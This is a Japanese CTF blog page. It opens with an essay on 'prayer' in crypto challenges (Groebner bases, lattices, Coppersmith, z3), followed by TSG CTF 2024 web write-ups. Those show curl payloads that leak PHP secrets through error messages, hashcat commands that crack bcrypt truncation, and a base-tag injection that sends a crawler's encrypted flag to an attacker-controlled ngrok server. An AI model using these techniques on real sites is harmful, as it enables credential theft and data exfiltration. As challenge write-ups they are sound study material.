はまやんはまやんはまやん

hamayanhamayan's blog

CTFのCryptoにおける祈りについて

この記事は、CTF Advent Calendar 2024の19日目の記事です。

はじめに

この記事はCryptoのプロプレイヤーに「祈り」の部分とどう向き合っているか教えてもらおうという記事で、ポエム記事として読んで下さい。半分は本当にお祈りなのではないかなと思っているのですが、もう半分は多分よく理解していないからお祈りに見えているだろうなぁと思っています。

また、問題と解説を紹介していきますが、それらにケチをつけているのではなく、自分の正直な気持ちを伝えて優しく導いてもらおうという趣旨であり、問題、作問者、また、解説に対しては感謝と尊敬しかないことを付け加えておきます。

また、Cryptoをある程度分かっている人向けに書くのでご注意ください。

『祈り』

Cryptoでは、良い感じの条件を持つ入力を素敵なアルゴリズムに通してやるといい感じの結果が返ってくるものたちがいくつかあります。例えば、以下のようなものです。

Cryptoプロプレイヤーは、この「いい感じの結果が返ってくること」をどう捉えているのでしょうか?いい結果が返ってくることを確信して使っているのか、はたまた、経験から良い結果がある程度の確度を持って使えているのか、はたまた、色々ガチャガチャしながら答えが出るまで、最終的には『祈り』の力でフラグを捻り出しているのでしょうか?

これから『祈り』を感じる部分について紹介していきながら、その『祈り』を感じる部分を率直に列挙していきながら、プロたちはどう向き合っているのかを問題提起していこうと思います。

SECCON CTF 13 Tidal wave

記憶に新しいkurenaif先生の最新作ですね。Tidal wave。解けませんでしたが、非常に勉強になりました。解説の詳細は公式Writeup公式動画解説、また、bokuikkunさんの解説もあるので詳細はそちらを参照するのが良いです。以下では、ざっくりとしかやらないので、これらの解説を理解した後の方が以降読みやすいかもです。

Tidal waveは、グレブナー基底 → CVP → Coppersmith → GRS符号の誤り訂正 という順で各小問題を攻略していきます。順番に見ていきましょう。

グレブナー基底

最初の小問題では、ランダムな数値から成る配列alphasを用意して、それをVandermonde matrixっぽく配置してちょっとずつずらしながら行列式を取ったdetsと、alphasの各要素を2乗したdouble_alphasが与えられるので、alphasを復元せよという小問題から始まります。ここで持ち出されるのがグレブナー基底です。

グレブナー基底
多変数多項式の簡約化が一意に行える多項式の集合
簡約化とは、直感的には多変数多項式の除算により、より次数の低い "余り" の多項式を求めていくことである。
Wikipedia

ざっくりと言うと(というより自分の理解がこのざっくりとしたものなのですが)高次元の連立方程式を突っ込むと、より簡単な方程式が得られるというものです。

さて、alphasを変数として定義してdetsとdouble_alphasについて多項式を作成して、グレブナー基底を取ってみましょう。alphasだと長いのでaとして表記しましょう。

detsとdouble_alphasの計算は以下のように実装されています。

dets = [G.submatrix(0,i*k-i,8,8).det() for i in range(5)]
double_alphas = list(map(lambda x: x^2, alphas))

上はずらしながら行列式を取ったもので、下はalphasの2乗を取った結果です。これを数式にすると以下のようになります。

 \displaystyle
dets_0 = a_0^7a_1^6a_2^5a_3^4a_4^3a_5^2a_6 + ... \\
+ a_0^3a_1^2a_2^5a_3^6a_5a_6^4a_7^7 + a_0^2a_1^3a_2^5a_3^6a_5a_6^4a_7^7 \\
- a_0^6a_1^5a_2^3a_4^2a_5a_6^4a_7^7 + a_0^5a_1^6a_2^3a_4^2a_5a_6^4a_7^7 \\
+ a_0^6a_1^3a_2^5a_4^2a_5a_6^4a_7^7 - a_0^3a_1^6a_2^5a_4^2a_5a_6^4a_7^7 \\
- a_0^5a_1^3a_2^6a_4^2a_5a_6^4a_7^7 + a_0^3a_1^5a_2^6a_4^2a_5a_6^4a_7^7 \\
+ ... + a_1a_2^2a_3^3a_4^4a_5^5a_6^6a_7^7 \\
dets_1 = ... \\
... \\
dets_4 = ... \\
\\
\verb|double_alphas|_0 = a_0^2 + 1281782565...122826897 \\
\verb|double_alphas|_1 = a_1^2 + 1222251497...924743634 \\
... \\
\verb|double_alphas|_{35} = a_{35}^2 + 1065024427...142500816

そして、これを全てグレブナー基底に突っ込みます!『祈り』ましょう!

 
 
 

 
 
 

 \displaystyle
a_0 + 10116746316...13709519 a_{35} = 0\\
a_1 + 99816305691...29103048 a_{35} = 0\\
...\\
a_{34} + 139803356...37995781 a_{35} = 0

 
 
 

こんな素晴らしい式が得られます!なんと、この複雑な多項式からa_ia_{35}の単純な1次式が出てきました。

もはや人智を超えた結果のように見えます。実際にやってみるとこの結果が出てきますし、複雑な多項式を見たらグレブナー基底を使ってみようというのも何となく知っています。また、double_alphasがあるのでとりあえず任意の変数について1次式以下にすることができそうというのは肌感としても分かります。しかし、ここまできれいな方程式が出てくるのはどれだけ予見できているものなのでしょうか。

--- モヤモヤ 1 ---
グレブナー基底を使って、きれいな方程式が得られるというのは
どれくらい予見できることなのでしょうか?
問題を信じてやってみるしかないのか、もしくは、
自分の良く理解していない観点や数学的な着眼点があるのでしょうか?
もしくは、ほぼ『祈り』なのでしょうか?

今回の問題で言うと、{a_0}^3=A がいい感じに a_0=B になりそうなのは分かるのですが、例えば {a_0}^3{a_1}^2{a_2}^5{a_3}^6{a_5}{a_6}^4{a_7}^7=Aa_0a_2a_5a_7=B とはならずに a_0 + Ca_{35} = D となるのは、どれくらいピンとくる結果なんでしょう。

また、更に言うとこんなに暴れん坊な結果が出てくるグレブナー基底ですが、

--- モヤモヤ 2 ---
グレブナー基底でこのようなきれいな結果が出てくるように
どうやって作問しているのでしょうか?
このようなダイヤの原石のような多項式集合を
どのように作り出すのか、とても気になっています!

もっとも、作者は魔女なので、魔術かもしれないのですが。

この問題に限らず、解説で「ここでグレブナー基底を取ると、こういう式が出てきて解けます」というのをよく見かけます。現時点の自分にとっては、『祈り』の結果である神からの贈り物のように見えてなりません。グレブナー基底の本質はガチャなのか、それともちゃんと深堀をすれば人間がコントロールできるものなのか…

CVP → Coppersmith

次はCVPからのCoppersmithを使うパートです。こちらはより『祈り』成分が高く、なぜなら、CVPの結果を『信じて』更なる「祈り」を捧げる必要があるためです(?)。本来の解法と比較して1ステップ省略していますが、alphasを得ることができ、つまり行列Gを復元することができました。次の小問題は以下のp_encodedが与えられるのでpvecを求めよという問題になります。

p_encoded = pvec*G + make_random_vector(R, n)

pvecはRSAにおけるnの素因数分解後のpを分解して作られるベクトルで、Gは導出済みです。make_random_vector(R, n)は乱数が与えられます。式を書いてみましょう。

 \displaystyle
\verb|p_encoded|_0 = G_{0,0} pvec_0 + G_{0,1} pvec_1 + ... + G_{0,35} prev_{35} + rand_0 \\
\verb|p_encoded|_1 = G_{1,0} pvec_0 + G_{1,1} pvec_1 + ... + G_{1,35} prev_{35} + rand_1 \\
... \\
\verb|p_encoded|_{35} = G_{35,0} pvec_0 + G_{35,1} pvec_1 + ... + G_{35,35} prev_{35} + rand_{35} \\

これは連立線形近似方程式を解く問題と見ることができ、つまりこれは、LWE問題です。このLWE問題を解くために、CVPをしてからCoppersmithをしていきましょう。

CVP / LLL

LWE問題はCVP問題として解くことができます。CVP問題とは、

CVP: Closest Vector Problem
格子Lに含まれないベクトルwが与えられたとき、格子Lに含まれるベクトルwに最も近いベクトルを探す問題

p_encoded = pvec*G + make_random_vector(R, n)

ほとんど格子を理解している前提で書きますが、この式の中のGを格子として見ます。すると、pvecとGを掛け合わせたものは格子Lに含まれる任意のベクトルとして考えることができます。今回与えられるp_encodedはその任意のベクトルにランダムな値を足して作られているので、p_encodedとpvec*Gは比較的近いベクトルであると考えられます。つまり、この問題はp_encodedに最も近い格子Gに含まれるベクトルを探すことでpvecを求めることができ、この問題はCVPと考えることができます。

CVPは質の良いライブラリ「Inequality Solving with CVP」があるので、そちらを使うと解くことができます。kurenaifさんの使い方シートzer0ptsのCVP記事が非常に参考になります。これを使えばあとはパラメタを適切に指定して投げれば答えが得られます。

さて、やってみましょう。このライブラリを使ってpvecを求め、それをpに再構成したものが以下の値です。

 \displaystyle
p_{kamo} = 12565690...5321344

さあ、『祈り』ながら割り切れるかどうか見てみましょう。

 
 
 

 
 
 

 

完全に終わりです。ここまでありがとうございました。この解法は間違いでした。ご清聴ありがとうございます。来年もみなさん、どうかよろしくお願いいたします。

 
 
 
 
 
 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

いや!待ってください!
まだあきらめてはいけません!
信じるのです!

 

『祈る』のです!!!

 

Coppersmith's Attack

先ほどの手法を与えられているsageコードを流用しながらp,q,N,alphas,p_encodedなどをランダムに作りながら実験してみましょう。

sage@1422f2dbe36b:/mnt$ sage solver3.sage
Expected Number of Solutions :  1
p_kamo=
107813069...0465092283539285651018073072430183885388277487977433100321323430002556928
p=
107813069...0465092283539285651018073072430183885388277487977433097532414169145114001

sage@1422f2dbe36b:/mnt$ sage solver3.sage 
Expected Number of Solutions :  1
p_kamo=
676183195...5501882391961930276292981719929111783955619629915479044046229792943505408
p=
676183195...5501882391961930276292981719929111783955619629915479046704412326655254803

sage@1422f2dbe36b:/mnt$ sage solver3.sage 
Expected Number of Solutions :  1
p_kamo=
121718811...9445801378564704362685859159720855874255202871781593950895932506309132288
p=
121718811...9445801378564704362685859159720855874255202871781593947269210613003648049

なんとこのような結果になります。(省略している部分は同じ値になります。)正確なpの値は出てきませんが、どれも非常に近い値が得られているのが分かります。さて、ここで利用できるのがCoppersmithです。

Coppersmith's Attack
とある合同方程式 f(x) ≡ 0 (mod N) に対して小さい整数解xを求める手法

今回得られたp_{kamo}はpにとても近い値になっています。ということは、その二つの差分dは全体に対してとても「小さい」値になっていると考えることができます。つまり、Coppersmith's Attackを使ってdを求められるということです。

 \displaystyle
N = pq \\
N = (p_{kamo} + d)q \\
0 = (p_{kamo} + d)q\,\,\verb|mod|\,\,N

qという変数が残っているような気がしますが、あまり気にせずCoppersmithを適用しましょう!「祈り」ながら!

 
 
 

 
 
 

これがCryptoにおける『祈り』です。

 
 
 

ふざけるのはこの辺にしておいて…

今回CVP/LLLとCoppersmithを紹介しましたが、どちらも『祈り』要素が強い手法だと思っています。

--- モヤモヤ 3 ---
格子を作ってLLLで解く系のものが正しい答えを現実的な時間で返すか
という部分は大体「お祈り」なんでしょうか。
格子で解くぞ!となって格子を作ってガチャガチャやるときによぎる
「格子が想定解ではないのではないか」にどれくらい抗っているのでしょうか。

出てきた結果やかかっている時間を観察して、スケールを変えたり、パラメタを変えたり、格子を変えたりガチャガチャするとは思っていますが、格子で解けるだろうという仮定をどのくらい維持続けられているのか、「祈り」続けるしかないのかがどうなんだろうと思っています。明らかに不明部分が小さかったりする場合はいけるやろとなる気持ちも分かるのですが、この辺りをしっかり自分の中で落とし込まないと今回のような問題は一生解けない気がしていて、何か良い落としどころがあるのでしょうか。

また、今回は乱数部分のbit数が大きいので、より格子で解くんだという強い気持ちを持つ必要性を感じていて、格子で解けそうというのはどういう要素から感じるものなのかもプロから聞いてみたい所です。

次はCoppersmithです。正直、Coppersmithはかなり雰囲気で使っているのでちゃんと勉強しないといけないのですが、現在Coppersmithを体系的に取り扱っている日本語の資料が無さそうで、英語もかなりアカデミックなものしかなさそうだったので一旦置いておいておいています。Coppersmithについてよく理解できるいい学習資料ってあるんでしょうか?(日英問わず)

--- モヤモヤ 4 ---
Coppersmith's Attack、教えてください。
単変数でも多変数でも何故かCoppersmithが
うまく働いて解けるというのを何回か見ています。
これはそういうものなんでしょうか?
それか、単に勉強・経験不足なだけでしょうか?

正直本当に雰囲気で使っていて応用が全く効いておらず、今回のqが無視されること(恐らく、正確にはmod Nではなくmod qとして解釈されていたんだろうと思っています)もどういう理由でそうなっているのか全く分かっていません。Cryptoをやっていると分からないが何故か動くということが割とあり、自分の知識がないのか、みんな感覚でやっているのか分からなくなります。

また、Tidal waveではp_{kamo}がpにかなり近い結果となりますが、pvecで分割されているので不明部分は色々なbitに分散してもおかしくなさそうです。しかし、今回は下位ビットに集まっていて、いい感じにCoppersmithが適用できるような形になっていました。

--- モヤモヤ 5 ---
Cryptoにおいて実験は割と大切なのでしょうか?
数式ガチャガチャでは得られない、実験してみないと分からない
与えられているパラメタに潜む数学的な傾向を
観察する重要性をかなり感じています。

GRS符号の誤り訂正

やっと、ここまで来ました。pが復元できたということは、Nが素因数分解できたということです。最後はGRS符号の誤り訂正をするパートになるのですが、ここに『祈り』成分は感じていません。それができる符号化方式であり、ちゃんと誤り訂正できる保証があり、そのためのアルゴリズムがあるためです。

総評

Tidal wave、非常に噛み応えのある問題でした。ちょうどずっと埋めたいと思っていた部分のオンパレードで、色々議論したいし、勉強させてください!

他には?

他にも祈りを感じる部分はあるので、紹介していきます。

z3

Z3 Theorem Prover
Microsoft Researchが開発したSMTソルバー
Wikipedia

SMTとはいくつかの数式を与えたときに、全ての数式を満たす入力があるかどうか(充足するか)を判定する問題のことを言います。z3では、充足する場合、充足するための入力の1つを返してくれます。より、具体的にはどういうことかというと

 \displaystyle
0 ≦ x \\
x ≦ 5 \\
x < y

このような条件を与えてやるとSAT(充足)と判定され、その場合の入力の1つであるx=0, y=1が与えられます。とても柔軟で何でも解けそうな見た目をしていますが、コンテスト終了までに「停止」するかが問題です。

Google CTF 2023 - MINE THE GAP

Cryptoではないのですが、z3が効果的に使えることを示す問題です。kusanoさんの解説が非常に分かりやすいです(公式解説もz3です)。マインスイーパーの確定していない部分を変数として、周囲の状況からz3に与える制約を作成していきます。盤面は3600×1632マスで、確定していないマスの個数はそのうち1割くらいもないような気がしますが、それでも大量の変数と条件をz3に与えています。

変数の取りうる値がボムがある/ないの0/1なので、z3が得意そうな形っぽいのは分かるのですが、ちゃんと計算が停止してくれるかどうかをどうやっていい感じに見積もっていくのかは、モヤモヤしたままです。まあ、でもこの問題に関しては割とSAT問題みたいな雰囲気もあるので、z3を使うのは納得感があります。

SECCON CTF 2022 Qual - janken vs kurenaif

メルセンヌツイスタやLCGのような乱数をテーマにした問題をz3で解くというのを割と見かけます。janken vs kurenaifではpythonのrandom.seedとrandom.randintを独自実装してz3に流してやるというのが想定解になります。ふるつきさんの公式解説だこつさんの解説を読んでみましょう。

z3が扱える問題広すぎるので、z3に通してみて解いてみようというのをこの問題でも適用可能というのは分かりますし、過去問を解いていくとz3と乱数は割と組み合わせがあるなとなるのも体感しています。しかし、普段意識から外れているとz3にとりあえず通してみようと思い立つのが難しく、実際過去問として解いてみたときは全く思いつきませんでした…

この問題を解くのに必要なのは、z3に通してみようと思う気持ちと、それを信じて停止するまでガチャガチャやりながら待つことだと思っており、それはどう鍛えればいいかな…とモヤモヤしています。z3の内部実装をもっとちゃんと理解すべきなのか、最終的には『祈り』なのか…

PlaidCTF 2015 RE GEX

いつも見ているこのページで紹介されている問題です。ちゃんと復習はしていないのですが、想定解であっても解が求まるまで1時間以内くらい時間がかかるz3解法が紹介されています。近年ではCTFの洗練化が進んでいる(特に国内)ので、これくらい待つ問題はもしかしたら少ないのかもしれないですが、z3が10分で停止するのか、1時間で停止するのか、地球が滅亡した後に停止するのかを肌感レベルでも推定するのが自分にとってはとても難しく、1時間計算を待つのはせめて計算オーダーが分かっていないとベットできないかなと思っています…

と、色々問題を紹介しましたが、つまりは…

--- モヤモヤ 6 ---
z3が停止するかどうかをどのように見極めていますか?
停止すれば正しい解が出てくると思うので、
論点は停止するかどうかだと思っていて、
z3を解法として仮定するときにどのように考えていますか?

乱択

乱択で何かをするような問題は確率で可能性を体感できるので、自分にとっては『祈り』ではないです。これくらいやれば望んだ結果が得られそうというのが確率を根拠にして、自分の中で断定できます。確率的な感覚が無いとこれも祈りに見えそうではあります。競プロで鍛えられすぎた可能性はありますね。

競プロに置き換えて考えると、もしかしたら、最小費用流とかがこのフローでいけそうと判断する感覚と、この格子や方針でいけると判断する感覚は似ているのかもしれないですね。気持ちになるというか、なんというか。

望みの論文が見つかる確率

「祈り」というよりという感じですが、Cryptoの解説を読んでいると頻繁に論文が引用されてきます。入門記事でも詳細は論文を見てねとなっているものも割とあるので、Crypto系の論文が読めることは割と人権ラインな雰囲気を感じています。Webでもカンファレンスで出てきた手法とかPortSwiggerのブログ記事で紹介されている手法とか、そういった最新のものを参照する場面があったりしますね。

Google CTF 2024 Quals - McEliece

kurenaifさんの動画(今年のSECCON予選中に無茶苦茶見ました)やshihoさんのGistを見ると雰囲気がつかめるかと思いますが、論文から解く手法を持って来る必要があります。そのため、この問題を解くには論文を読める必要があります。(見つけてくるのは実装から検索キーワードに使えそうな方式名などが特定できれば、多分それほど難しくない)

論文を読むためには、ちゃんと数学的な背景知識をつける必要があり…という問題があります。もはや、『祈り』全く関係なく、単なるモヤモヤなのですが、

--- モヤモヤ 7 ---
問題を解くときに使えそうな論文ってどれくらい探しているんでしょうか?
論文を見つけて実装するのが答えっぽい解法もありそうで、
上位の問題を解くときは論文が読めることは割と必須なのでしょうか?

終わりに

いかがでしたでしょうか。SECCON予選でCrypto担当になったので今年の10月ごろからひたすらCryptoをやっていましたが、祈りとしか見えない部分が多く出てきてずっとモヤモヤしていました。本当のところは、数学的な背景知識の欠如や知識の定着度が問題な気がしていますが、せっかく記事を書くので一言ヒントだけでも教えてもらえると非常に嬉しいです!という記事でした。

もし、モヤモヤに対してヒントいただける方は、自分のツイートにリプしていただいたり、DMしていただいたり、以下にフォームを作ったのでこちらで書いて送っていただけると無茶苦茶嬉しいです。モヤモヤの一部のみ、一言だけ、全体的なヒント、感想、叱咤激励、全て大歓迎です!

docs.google.com

明日はEdwow Mathさんの「Writeup&Upsolve〜復習するは我にあり〜」です。Cryptoの強者として前よりフォローしていました。Cryptoをやり始めてからもブログをひたすら見させていただいています、楽しみです!

TSG CTF 2024 Writeups

[web] I Have Been Pwned

phpで書かれたサイトが与えられる。フラグはmypage.phpにあり、以下のように$pepper1$pepper2$admin_passwordが必要。

<?php
$pepper1 = "____REDACTED____";
$pepper2 = "____REDACTED____";
assert(strlen($pepper1) === 16 && strlen($pepper2) === 16);
$admin_password = "__REDACTED_____";
assert(strlen($admin_password) === 15);

$flag = "TSGCTF{__REDACTED__}";


if (isset($_COOKIE["auth"])) {
    $auth = $_COOKIE["auth"];
    if ($auth === "admin") {
        if (password_verify($pepper1 . $auth . $admin_password . $pepper2, base64_decode($_COOKIE["hash"]))) {
            $msg = "Hello admin! Flag is " . $flag . "\n";
        } else {
            $msg = "I know you rewrote cookies!";
        }

それで、この3つの内部変数を頑張って求めるのだが、これは他に与えられているindex.phpの以下の部分を使って全て求めることができる!

<?php
$pepper1 = "____REDACTED____";
$pepper2 = "____REDACTED____";
assert(strlen($pepper1) === 16 && strlen($pepper2) === 16);
$admin_password = "__REDACTED_____";
assert(strlen($admin_password) === 15);

$msg = "";
if (isset($_POST["auth"]) and isset($_POST["password"])) {
    $success = false;
    if ($_POST["auth"] === "guest") {
        $success = true;
    } else if(($_POST["auth"] === "admin") and hash_equals($admin_password, $_POST["password"])) {
        // $success = true;
        $msg = "Sorry, the admin account is currently restricted from new logins. Please use a device that is already logged in.";
    } else {
        $msg = "Invalid username or password.";
    }

    if ($success) {
        $hash = password_hash($pepper1 . $_POST["auth"] . $_POST["password"] . $pepper2, PASSWORD_BCRYPT);
        setcookie("auth", $_POST["auth"], time() + 3600*24);
        setcookie("hash", base64_encode($hash), time() + 3600*24);
        header("Location: mypage.php");
    }
}
?>

$admin_password

$admin_passwordが使われている部分を見てみると、

// index.php
} else if(($_POST["auth"] === "admin") and hash_equals($admin_password, $_POST["password"])) {

// mypage.php
if (password_verify($pepper1 . $auth . $admin_password . $pepper2, base64_decode($_COOKIE["hash"]))) {

の2か所しかないのだが、後半部分はフラグを得るためと一旦仮定すると前者の部分で$admin_passwordが取得できることになる。hash_equalsのphpページを見ても正しく使われているので、どうしたものかなと思ってガチャガチャやっていると、phpのエラーが抑止されず出力されていることに気が付く。エラー経由で漏洩させられないだろうか。hash_equalsに外部入力できるのは$_POST["password"]の部分なので更にガチャガチャやっていると以下のようにするとエラー経由で取得できる。

$ curl http://localhost:8080/ -X POST -d "auth=admin&password[]=ss"
<br />
<b>Fatal error</b>:  Uncaught TypeError: hash_equals(): Argument #2 ($user_string) must be of type string, array given in /var/www/html/index.php:13
Stack trace:
#0 /var/www/html/index.php(13): hash_equals('__REDACTED_____', Array)
#1 {main}
  thrown in <b>/var/www/html/index.php</b> on line <b>13</b><br />

passwordを配列にすれば型エラーが発生し、対応する行が表示され、内部変数を取得することができた!(phpがなぜ代入後の式でエラーを出しているのかは謎であるが)これで$admin_passwordがまず揃う。

$pepper1の先頭15bytes

これを出すアイデアが一生出なくて困っていた。$pepper1が使われているのが以下。

// index.php
$hash = password_hash($pepper1 . $_POST["auth"] . $_POST["password"] . $pepper2, PASSWORD_BCRYPT);

// mypage.php
if (password_verify($pepper1 . $auth . $admin_password . $pepper2, base64_decode($_COOKIE["hash"]))) {

下はフラグに繋がる部分なので上から$pepper1が得られるのだが、考えても一向に突破方法が分からない。

困っていると、チームメイトから$pepper1出せました!とのことで以下のやり方を教えてもらった。

$ curl http://[redacted]/ -X POST -d 'auth=guest&password=%00' --output -
<br />
<b>Fatal error</b>:  Uncaught ValueError: Bcrypt password must not contain null character in /var/www/html/index.php:21
Stack trace:
#0 /var/www/html/index.php(21): password_hash('PmVG7xe9ECBSgLU...', '2y')
#1 {main}
  thrown in <b>/var/www/html/index.php</b> on line <b>21</b><br />

ヌルバイトでエラーを起こせる!なるほど、そのベクトルを見逃していた。これを見ると、$pepper1の先頭15bytesを知ることができる。

$pepper1全体

$pepper1について後1byte特定する必要がある。これを解くには最近言及のあったbcryptの切り詰め問題典型を思い出す必要がある。以下の部分と関係がある。

$hash = password_hash($pepper1 . $_POST["auth"] . $_POST["password"] . $pepper2, PASSWORD_BCRYPT);

phpのpassword_hashを見ると、bcryptではpassword部分が最大 72 バイトまでに切り詰められるということが書いてある。上の実装では、$_POST["password"]を自由に設定することができるので、$_POST["password"]に長い入力を与えてやると、$pepper1 . $_POST["auth"] . $_POST["password"] . $pepper2が最大72バイトに切り詰められ、結果、$pepper2が使われないということが発生する。

$pepper1は16bytesで、$_POST["auth"]はこのパスに入るにはguestである必要があるため、5bytesなので、$_POST["password"]に51文字のaを入力すると、切り捨てられた結果は、

PmVG7xe9ECBSgLU[不明]guestaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

という形のbcryptになるはずである。こうなると不明な部分は1bytes分になるため十分オフラインクラック可能な探索母数になる。よって、auth=guestpassword=aaa..[全体でaが51個]...aaaでhashを取得し、それを以下のようにhashcatでクラックすれば$pepper1全体を得ることができる。

$ hashcat -m 3200 -a 3 hash.txt -1 '?l?u?d' 'PmVG7xe9ECBSgLU?1guestaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' --force
hashcat (v6.2.6) starting

省略

$2y$10$7oI/sRmuIayyLLbEqFGnCeENsFMa/YzxqsPeS0IEwD9gqYGHzZE12:PmVG7xe9ECBSgLUAguestaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

$pepper2

残りは$pepper2である。これも使われている場所は$pepper1と同じであり、同様に以下の部分から取得可能である。

$hash = password_hash($pepper1 . $_POST["auth"] . $_POST["password"] . $pepper2, PASSWORD_BCRYPT);

password部分が[既知で伸長可能][無知で取得したい]という形になっているので、これは正にbcryptの切り詰め問題典型の形である。まず、auth=guestpassword=aaa..[全体でaが50個]...aaaでhashを取得してみよう。するとハッシュを取るpassword部分は、

PmVG7xe9ECBSgLUAguestaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[$pepper2の1byte目]

のように切り詰められるはずである。この状況は前セクションの形と同様であるため、このハッシュ値をオフラインクラックすることで$pepper2の1byte目を求めることができる。

hashcat -m 3200 -a 3 hash.txt -1 '?l?u?d' 'PmVG7xe9ECBSgLUAguestaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?1' --force
->
$2y$10$3bsVQZo6b.NRfjjTrA0h6uWWc7lzdN8UMoyS6GrWqwe3sx5S0b2Ua:PmVG7xe9ECBSgLUAguestaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa8

8が出てきました。次にauth=guestpassword=aaa..[全体でaが49個]...aaaとaを1つ減らします。すると、ハッシュを取るpassword部分は$pepper2の1byte目が分かっているので、

PmVG7xe9ECBSgLUAguestaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa8[$pepper2の2byte目]

となり、同様に1byteのみ不明な状態でハッシュを得ることができます。これもまたオフラインクラック可能です。これを順番に試していくと$pepper2を先頭から明らかにすることができ、全体を取得できます。

ゴール!

3つの内部変数の値が取れたので後はフラグを取ります!

[web] Cipher Preset Button

Javascriptで書かれたサイトが与えられ、localStorageに入っているフラグを得る問題です。クローラーは以下のような感じでfirefoxを使って、localStorageにフラグを入れて、指定の投稿/presets/:idを表示し、#generateボタンを押してくれます。

async function visit(path) {
  const target = new URL(path, process.env.SERVER_BASE_URL).toString()
  const page = await browser.newPage()
  await page.addInitScript(flag => {
    localStorage.setItem('key', flag)
  }, FLAG)
  await page.goto(target, { waitUntil: 'load', timeout: 2000 })
  await page.locator('#generate').click({ timeout: 2000 })
  await page.locator('#result').waitFor({ state: 'visible', timeout: 2000 })
  await page.close()
}

サイトの実装としては、まず厳しめのCSPがかかっています。

function cspMiddleware(req, res, next) {
  const nonce = crypto.randomBytes(16).toString('base64')
  res.nonce = nonce
  res.setHeader('Content-Security-Policy', `script-src 'nonce-${nonce}'; style-src 'nonce-${nonce}'; child-src 'self'; object-src 'none'`)
  next()
}

そして、クローラーが表示する/presets/:id部分の実装は以下の通りです。

function sanitizeHtml(str) {
  // tags for metadata
  if (/meta|link/i.test(str)) {
    return htmlEntities.encode(str)
  }
  return str
}
...
  .get('/presets/:id', guardError(async (req, res) => {
    const preset = await presetsCollection.findOne({ id: req.params.id })
    if (!preset) {
      res.statusCode = 404
      res.setHeader('Content-Type', 'text/plain')
      res.end('not found')
      return
    }
    const template = await readFile('./preset.tpl', 'utf-8')
    const titleElem = `<title>${sanitizeHtml(preset.name)} - preset</title>`
    const html = Mustache.render(template, {
      titleElem,
      name: preset.name,
      prefix: preset.prefix,
      jsStr: JSON.stringify(preset.prefix).replaceAll('<', '\\x3c'),
      nonce: res.nonce
    })
    res.setHeader('Content-Type', 'text/html')
    res.end(html)
  }))

metaタグとlinkタグをはじくsanitizeHtmlという関数が定義されているのと、Mustacheを使った出力がされています。テンプレート部分で一旦重要な所は以下の部分です。

<!DOCTYPE html>
<html lang="en">
<head>
  {{{ titleElem }}}
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
...
  <script type="module" nonce="{{ nonce }}">
    const prefix = {{{ jsStr }}}

    async function onClick() {
      const key = getKey()
      const result = encrypt(prefix, key)
      await fetch('/result', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ prefix, result: toHex(result) })
      })
      const resultElement = document.getElementById('result')
      resultElement.style.display = 'inline'
      resultElement.textContent = toHex(result)
    }
...

{{{ titleElem }}}{{{ jsStr }}}が怪しいポイントですね。htmlタグをそのまま出力してくれます。{{{ titleElem }}}はnameからconst titleElem = `<title>${sanitizeHtml(preset.name)} - preset</title>`のようにタグが作られてheadタグ内部に埋め込まれ、{{{ jsStr }}}JSON.stringify(preset.prefix).replaceAll('<', '\\x3c')のようにjsonにして(というより"ほにゃらら"の形にしているだけですが)</script>対策をして埋め込まれます。

また、クライアント側のjavascriptを見ると、ボタンをクリックすることで、localStorageに入ったkey(=flag)がprefixを使って暗号化され、その結果がPOST /resultに送られます。

このnameとprefixは、以下のエンドポイントから入力されます。

  .post('/preset', guardError(async (req, res) => {
    const { name, prefix } = req.body ?? {}
    if (typeof name !== 'string' || typeof prefix !== 'string') {
      sendJson(res, { message: 'invalid params' }, 400)
      return
    }
    if (name.length === 0) {
      sendJson(res, { message: 'name is empty' }, 400)
      return
    }
    if (prefix.length > 25) {
      sendJson(res, { message: 'prefix too long' }, 400)
      return
    }
    const id = nanoid()
    await presetsCollection.insertOne({ id, name, prefix })
    sendJson(res, { id })
  }))

nameには特に制限は無く、prefixは最大25文字入力できます。

baseタグを利用する

まず、思いついたのがbaseタグを使ったPOST /resultの乗っ取りでした。CSPで制限されていないのに加えて、sanitizeHtmlでも制限されていません。やってみましょう。プリフライトリクエストが飛んでしまうので、適当にこのように受け手を作り、ngrokで外部公開しておきます。

from flask import Flask, send_file, request
from flask_cors import CORS

app = Flask(__name__)
CORS(app) # Access-Control-Allow-Origin: *

@app.route('/result',methods=["POST"])
def post_result():
    print(request.get_data())
    return "ok"

if __name__ == '__main__':
    app.run(port=8181, debug=True)

次に、titleに</title><base href="https://[yours].ngrok-free.app/"><title>を入力してbaseタグを差し込みましょう。prefixは適当に上限のAを25個入力しておきます。この投稿をクローラーに踏ませると…

{"prefix":"AAAAAAAAAAAAAAAAAAAAAAAAA","result":"001500120006000200150007003a00050014000c000c0018006d006100350029002400610027002d002000260061002800321abb6574731571312354f462f6a0ba479b3a8aa5071948317dddfe192ed088593231760a4d337fb09f700d4d1051"}

こういうのが返ってきます!いいですね。

暗号を解く

クライアントサイドで暗号化をしてからPOST /resultへ送られています。実装は以下です。

    const prefix = {{{ jsStr }}}

    function generateRandomAsciiString(length) {
      const codes = [...Array(length).keys()].map(() => Math.floor(Math.random() * 95 + 32))
      return String.fromCharCode(...codes)
    }
    function getKey() {
      const savedKey = localStorage.getItem('key')
      if (savedKey !== null) {
        return savedKey
      }
      const newKey = generateRandomAsciiString(48)
      localStorage.setItem('key', newKey)
      return newKey
    }
    function generateRandomBytes(prefix, length) {
      const data = new Uint16Array(length)
      for (let i = 0; i < length; i++) {
        data[i] = i < prefix.length ? prefix.charCodeAt(i) : Math.floor(Math.random() * 65536)
      }
      return data
    }
    function toHex(arr) {
      // big endian
      return [...arr].map(x => x.toString(16).padStart(4, '0')).join('')
    }
    function encrypt(prefix, key) {
      const secret = generateRandomBytes(prefix, key.length)
